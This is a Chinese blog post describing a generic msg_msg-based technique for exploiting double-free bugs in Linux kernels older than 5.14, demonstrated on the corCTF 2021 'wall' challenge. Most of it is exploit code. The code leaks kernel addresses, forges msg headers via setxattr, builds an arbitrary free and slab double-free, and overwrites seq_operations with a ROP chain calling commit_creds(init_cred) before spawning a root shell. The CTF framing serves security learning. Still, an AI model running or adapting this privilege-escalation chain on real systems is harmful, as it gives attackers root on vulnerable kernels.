0%

低版本(低于5.14)基于msg下doublefree的利用通解

前言

算是自己研究出的msg的利用的新思路吧,不得不说在kernel版本小于5.14时真的是内核利用的利器,我在多个cve中都看到了msg的身影。在msg的利用中,如果可以控制msg_msg的话,可以轻松完成越界读,一般的msg利用也就是越界读泄露数据,除了任意读如果内核在普通用户下能够使用userfault的话还可以利用msg直接任意写,修改进程的cred来完成权限提升,但是在较高版本下是用户是无法使用userfault的,所以没有办法使用msg直接一把梭的,在较高版本下一般是通过msg泄露地址,然后再找相应大小的结构体劫持·程序流。

但是这种方式比较麻烦的一点是第二步劫持程序流,不同的obj大小要找不同的结构体,而且有些大小的obj还找不到可以利用的结构体,我也以为msg的利用也就到这里,但是在周四午睡起来时忽然灵光乍现,msg不是还可以构造任意free吗,那完全可以利用msg构造出任意size的obj的doublefree啊,就把问题从特定不好利用的size的obj转化成了容易利用的size的obj了,就完全实现了思路上的通解了。

利用条件

  • 可以对0x40~0x1000以内的obj kfree两次(或者释放一次但是拥有写功能)
  • 内核版本小于5.14,因为如果超过了5.14,msg就不从kmalloc-xxx中拿obj了,而是从kmalloc-cg-xxx中拿obj了,如果可以doublefree的obj是通过GFP_KERNELkmalloc到的,那msg就完全申请不到这个obj了。
  • 开启了MSG_COPY功能

利用思路

就以corctf2021的wall作为例子(本来相用n1的praymoon做例子的,结果调试了一下午才发现版本太高了msg没法用了。),简而言之可以把wall看做只能释放两次同一个0x40大小的obj的抽象模型。

一.泄露地址

首先是利用ko申请一个0x40的obj然后把他释放掉

在这个例子中我打算利用msg构造出doublefree的0x20的obj,这样就可以使用seq_operations劫持程序流来提升权限,那就得根据0x20精心构造msg了,我的构造如下

使用了两个消息队列,分别是msg_id[0]和msg_id[1],这个msg_id[0]的msg是刚刚我们释放的obj,然后再使用ko把这个obj再释放一次,由于使用的是slab分配算法,所以释放后obj的内容并不会发生改变,然后再使用setxattr把这个obj申请回来修改其中的m_ts字段,然后再使用msg_id[0]读这个msg,就能越界读到msg_id[1]的第一个msg了,主要记录的就是msg_id[1]的第二个msg的起始地址ll_next和msg_id[1]的msg_queuell_prev,然后还有几率读到error_injection_list,利用这个泄露内核地址。然后再通过msg_id[1]的第二个msg的next字段读到一个0x20的obj的地址,即target_obj。

image-20221120171926473

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);
del_rule(fd,0,INBOUND);
msg->mtype=1;
memset(msg->mtext,0x61,0x1000);
send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);

memset(msg->mtext,0x62,0x1000);
send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);

msg->mtype=2;
memset(msg->mtext,0x63,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=3;
memset(msg->mtext,0x64,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=4;
memset(msg->mtext,0x65,0x1000);
send_msg(msg_id[1],msg,0x1008,IPC_NOWAIT);

printf("[*] doublefree\n");
del_rule(fd,0,OUTBOUND);
msg_header *fake_msg_header=(msg_header *)malloc(0x40);
fake_msg_header->ll_next=(void *)0x4141414141414141;
fake_msg_header->ll_prev=(void *)0x4242424242424242;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1000-0x30;

setxattr("/exp", "msg", fake_msg_header, 0x40, 0);


get_msg(msg_id[0],re_buf,0x1000-0x30,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

for(int i=0;i<0x2000/0x8;i++){
if((!strncmp(&re_buf[i],"bbbbbbbbbbbbbbbb",0x10))&&(!queue)){
queue=re_buf[i-5];
page_msg=re_buf[i-6];
}
if(((re_buf[i]&0xffff)==0x1520)&&(!kernelbase)){ //error_injection_list
kernelbase=re_buf[i]-0xc41520;
init_task=kernelbase+0xc124c0;
init_cred=kernelbase+0xc33060;
}
if(queue&&kernelbase){
break;
}
}
printf("\e[40;32m msg_queue_addr:%p \e[0m\n",queue);
printf("\e[40;32m page_msg_addr:%p \e[0m\n",page_msg);
printf("\e[40;32m kernelbase_addr:%p \e[0m\n",kernelbase);
printf("\e[40;32m init_task_addr:%p \e[0m\n",init_task);
printf("\e[40;32m init_cred_addr:%p \e[0m\n",init_cred);
if((!queue)||(!kernelbase)){
err_exit("get queue fail or kernelbase fail");
}
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1050;
fake_msg_header->next=page_msg-0x10;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);
memset(re_buf,0,0x2000);
get_msg(msg_id[0],re_buf,0x1050,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
for(int i=0;i<0x2000/0x8;i++){
if(!strncmp(&re_buf[i],"cccccccccccccccc",0x10)){
target_obj=re_buf[i-2];
break;
}
}
printf("\e[40;32m target_obj_addr:%p \e[0m\n",target_obj);

二.任意free

到这里我们已经知道了target_obj的地址了,这个obj的大小是0x20的,当我们使用msgrcv()的时候,如果不使用MSG_COPY的话,查找到的msg是会被脱链然后free掉的,所以如果把msg_id[0]的next填上target_obj的地址,那msgrcvmsg_id[0]的时候就把target_obj给释放掉了,但是其实target_obj还在msg_id[1]的第二个msg的段上,所以还可以被free一次,这就可以构造出doublefree了。构造如下。

注意内核是会检查doublefree的,但是检查不是很严格,就和glibc的fastbin一样,所以构造出A->B->A就好了。剩下两个msg就是为了构造A->B->A的。

image-20221120173429967

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_msg_header->ll_next=queue;
fake_msg_header->ll_prev=queue;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x10;
fake_msg_header->next=target_obj;
fake_msg_header->security=0;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,2,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0x1008,4,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,3,IPC_NOWAIT | MSG_NOERROR);

get_msg(msg_id[0],re_buf,0xfe8,1,IPC_NOWAIT | MSG_NOERROR);

三.劫持程序流

现在0x20的slab的freelist上就有这样的链子A->B->A,这样就好办了,先申请一次seq_operation然后第三次申请又能申请这个seq_operation的obj了,就能修改函数指针劫持程序流了。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
seq_fd=open("/proc/self/stat", O_RDONLY);
if(seq_fd<0){
err_exit("open seq fail");
}
int tmp=open("/proc/self/stat", O_RDONLY);
if(tmp<0){
err_exit("open seq fail");
}
size_t seq_operation[4]={0,0,0,0};
add_rsp_0x108_pop_3=add_rsp_0x108_pop_3-vmlinux_nokaslr_addr+kernelbase;
pop_rdi_ret=pop_rdi_ret-vmlinux_nokaslr_addr+kernelbase;
commit_cred=commit_cred-vmlinux_nokaslr_addr+kernelbase;
kpti_addr=kpti_addr-vmlinux_nokaslr_addr+kernelbase;
ret=ret-vmlinux_nokaslr_addr+kernelbase;

seq_operation[0]=0xffffffff81019d8b;

setxattr("/exp", "seq", seq_operation, 0x20, 0);
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_cred;"
"mov r12, ret;"
"mov rbp, ret;"
"mov rbx, pop_rdi_ret;"
"mov r11, ret;"
"mov r10, ret;"
"mov r9, kpti_addr;"
"mov r8, 0xbeefdead;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
printf("uid:%d\n",getuid());
system("/bin/sh");

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include <sched.h>
#include <byteswap.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <sys/xattr.h>




#define page_size 0x1000

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
} User_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
} Rule_t;

typedef struct
{
long mtype;
char mtext[1];
}user_msg;

typedef struct
{
void *ll_next;
void *ll_prev;
long m_type;
size_t m_ts;
void *next;
void *security;
}msg_header;

int fd=0;
int msg_id[3]={0,0,0};
size_t queue=0;
size_t kernelbase=0;
size_t page_msg=0;
size_t init_task=0;
size_t init_cred=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t current_task=0,prev_task=0;
char *page1=0;
char *page2=0;
pthread_t td[4];
int is_write_msg=0;
size_t target_obj=0;
int seq_fd=0;
size_t add_rsp_0x108_pop_3=0xffffffff81019d8b;
size_t pop_rdi_ret=0xffffffff8102af06;
size_t commit_cred=0xffffffff8106f870;
size_t kpti_addr=0xffffffff81600df0+0x10;
size_t ret=0xffffffff810001dc;

#include "exp.h"

void err_exit(char *err){
printf("\e[40;31m %s\e[0m\n",err);
exit(1);
}

void get_IPv4(uint32_t ip,char *ipv4){
memset(ipv4,0,0x10);

// printf("%d.%d.%d.%d\n",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);

sprintf(ipv4,"%d.%d.%d.%d",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);
}

User_rule_t* init_user_rule(uint8_t idx,uint8_t type,u_int32_t ip,u_int32_t netmask){

User_rule_t *user_rule=(User_rule_t *)malloc(sizeof(User_rule_t));

user_rule->idx=idx;


get_IPv4(ip,&(user_rule->ip));

get_IPv4(netmask,&(user_rule->netmask));

user_rule->type=type;
return user_rule;
}

void add_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,ADD_RULE,user_rule_t);
// if(ret<0){
// err_exit("add fail");
// }
}

void del_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DELETE_RULE,user_rule_t);
if(ret<0){
err_exit("del fail");
}
}

void dup_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DUP_RULE,user_rule_t);
if(ret<0){
err_exit("edit fail");
}
}

void edit_rule(int fd,char *buf,int idx,int type,int flags){
uint32_t ip=*(uint32_t *)(buf+0x20);
uint32_t netmask=*(uint32_t *)(buf+0x24);
User_rule_t *user_rule=init_user_rule(idx,type,ip,netmask);
memcpy(user_rule,buf,0x20);
if(!flags){
memcpy(&(user_rule->ip),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
memcpy(&(user_rule->netmask),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
}
int ret=ioctl(fd,EDIT_RULE,user_rule);
}

int32_t make_queue(key_t key, int msgflg)
{
int32_t result;
if ((result = msgget(key, msgflg)) == -1)
{
err_exit("msgget failure");
}
return result;
}


void get_msg(int msqid,void *msgp,size_t msgsz,long msgtype,int msgflag){
int ret=msgrcv(msqid,msgp,msgsz,msgtype,msgflag);
if(ret<0){
err_exit("msgrcv fail");
}
}

void send_msg(int msqid,void *msgp,size_t msgsz,int msgflag){
int ret=msgsnd(msqid,msgp,msgsz,msgflag);
if(ret<0){
err_exit("msgsend fail");
}
}
int main(){
size_t re_buf[0x2000/8]={0};
fd=open("/dev/firewall",O_RDWR);
if(fd<0){
err_exit("open firewall fail");
}
msg_id[0]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[1]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[2]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
user_msg *msg=(user_msg *)malloc(0x2000);

for(int i=10;i<16;i++){
add_rule(fd,i,INBOUND);
}

add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);
del_rule(fd,0,INBOUND);
msg->mtype=1;
memset(msg->mtext,0x61,0x1000);
send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);

memset(msg->mtext,0x62,0x1000);
send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);

msg->mtype=2;
memset(msg->mtext,0x63,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=3;
memset(msg->mtext,0x64,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=4;
memset(msg->mtext,0x65,0x1000);
send_msg(msg_id[1],msg,0x1008,IPC_NOWAIT);

printf("[*] doublefree\n");
del_rule(fd,0,OUTBOUND);
msg_header *fake_msg_header=(msg_header *)malloc(0x40);
fake_msg_header->ll_next=(void *)0x4141414141414141;
fake_msg_header->ll_prev=(void *)0x4242424242424242;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1000-0x30;

setxattr("/exp", "msg", fake_msg_header, 0x40, 0);


get_msg(msg_id[0],re_buf,0x1000-0x30,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

for(int i=0;i<0x2000/0x8;i++){
if((!strncmp(&re_buf[i],"bbbbbbbbbbbbbbbb",0x10))&&(!queue)){
queue=re_buf[i-5];
page_msg=re_buf[i-6];
}
if(((re_buf[i]&0xffff)==0x1520)&&(!kernelbase)){ //error_injection_list
kernelbase=re_buf[i]-0xc41520;
init_task=kernelbase+0xc124c0;
init_cred=kernelbase+0xc33060;
}
if(queue&&kernelbase){
break;
}
}
printf("\e[40;32m msg_queue_addr:%p \e[0m\n",queue);
printf("\e[40;32m page_msg_addr:%p \e[0m\n",page_msg);
printf("\e[40;32m kernelbase_addr:%p \e[0m\n",kernelbase);
printf("\e[40;32m init_task_addr:%p \e[0m\n",init_task);
printf("\e[40;32m init_cred_addr:%p \e[0m\n",init_cred);
if((!queue)||(!kernelbase)){
err_exit("get queue fail or kernelbase fail");
}
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1050;
fake_msg_header->next=page_msg-0x10;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);
memset(re_buf,0,0x2000);
get_msg(msg_id[0],re_buf,0x1050,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
for(int i=0;i<0x2000/0x8;i++){
if(!strncmp(&re_buf[i],"cccccccccccccccc",0x10)){
target_obj=re_buf[i-2];
break;
}
}
printf("\e[40;32m target_obj_addr:%p \e[0m\n",target_obj);

fake_msg_header->ll_next=queue;
fake_msg_header->ll_prev=queue;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x10;
fake_msg_header->next=target_obj;
fake_msg_header->security=0;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,2,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0x1008,4,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,3,IPC_NOWAIT | MSG_NOERROR);

get_msg(msg_id[0],re_buf,0xfe8,1,IPC_NOWAIT | MSG_NOERROR);

seq_fd=open("/proc/self/stat", O_RDONLY);
if(seq_fd<0){
err_exit("open seq fail");
}
int tmp=open("/proc/self/stat", O_RDONLY);
if(tmp<0){
err_exit("open seq fail");
}
size_t seq_operation[4]={0,0,0,0};
add_rsp_0x108_pop_3=add_rsp_0x108_pop_3-vmlinux_nokaslr_addr+kernelbase;
pop_rdi_ret=pop_rdi_ret-vmlinux_nokaslr_addr+kernelbase;
commit_cred=commit_cred-vmlinux_nokaslr_addr+kernelbase;
kpti_addr=kpti_addr-vmlinux_nokaslr_addr+kernelbase;
ret=ret-vmlinux_nokaslr_addr+kernelbase;

seq_operation[0]=0xffffffff81019d8b;

setxattr("/exp", "seq", seq_operation, 0x20, 0);
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_cred;"
"mov r12, ret;"
"mov rbp, ret;"
"mov rbx, pop_rdi_ret;"
"mov r11, ret;"
"mov r10, ret;"
"mov r9, kpti_addr;"
"mov r8, 0xbeefdead;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
printf("uid:%d\n",getuid());
system("/bin/sh");
}

意义

于利用的意义就是可以有这样的通解了,以后低版本doublefree可以一把梭了,于我的意义就是终于不是看着别人wp复现出来的了,而是自己按照自己思路并且成功提权的内核利用。